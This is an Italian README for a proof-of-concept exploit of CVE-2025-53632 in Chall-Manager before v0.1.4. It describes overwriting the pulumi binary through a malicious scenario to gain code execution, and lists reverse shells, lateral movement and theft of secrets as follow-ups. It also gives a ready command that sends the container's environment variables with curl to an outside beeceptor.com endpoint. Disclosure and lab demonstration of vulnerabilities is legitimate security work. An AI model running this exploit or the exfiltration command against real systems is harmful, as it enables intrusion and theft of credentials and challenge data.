
Un exploit di CVE-2025-53632 per confermare la sfruttabilità
Questo repository contiene un exploit di CVE-2025-53632 che colpisce Chall-Manager < v0.1.4. Le versioni interessate sono chiaramente obsolete e molto probabilmente non utilizzate da nessuno, quindi sono fiducioso che non vi sia una reale possibilità di sfruttamento dannoso.
Questo repository non ti dà il diritto di attaccare nessuno, ma è inteso a fini educativi.
[!WARNING] Il modo in cui Chall-Manager gestisce gli scenari, è ancora completamente sfruttabile senza lo zip slip: basta manomettere il binario
pulumidello scenario in modo che la successiva esecuzione esegua il tuo codice arbitrario.
Dimostriamo l'attacco su Chall-Manager v0.1.3.
Immaginiamo un Chall-Manager esposto (per favore non fatelo, non è progettato per esserlo in quanto è un'applicazione RCE-on-demand).
Quando si crea una challenge, lo scenario viene convalidato da un'anteprima di Pulumi. Non c'è alcun controllo su questo codice, quindi siamo in grado di iniettare qualsiasi cosa.
Per farlo, Chall-Manager utilizza l'API auto di Pulumi, che esegue il binario Pulumi. Lo fa senza un percorso assoluto, poiché si aspetta che sia in /pulumi/bin/pulumi ($PATH inizia con /pulumi/bin).
Utilizzando queste informazioni, manipoleremo il programma pulumi iniettando del codice shell prima della sua esecuzione.
Poiché lo scenario verrà poi convalidato, il programma pulumi manipolato verrà eseguito, eseguendo lo script.
Da questo script, ora puoi aprire una reverse shell, muoverti attraverso l'infrastruttura o all'interno del contenitore, rubare segreti (ad esempio contenuti nelle variabili d'ambiente) o persino il contenuto delle challenge (ad esempio la flag della challenge se uno scenario non è stato pre-costruito).
Per eseguire questa demo dell'exploit avrai bisogno di:
Esegui chall-manager.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
Esegui main.go
go run main.go --url localhost:8080
Sii creativo con il tuo script! Per esempio, puoi inviare informazioni di sistema a una terza parte...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
Puoi fermare il contenitore Docker della demo di Chall-Manager una volta terminato.
docker stop chall-manager && docker rm $_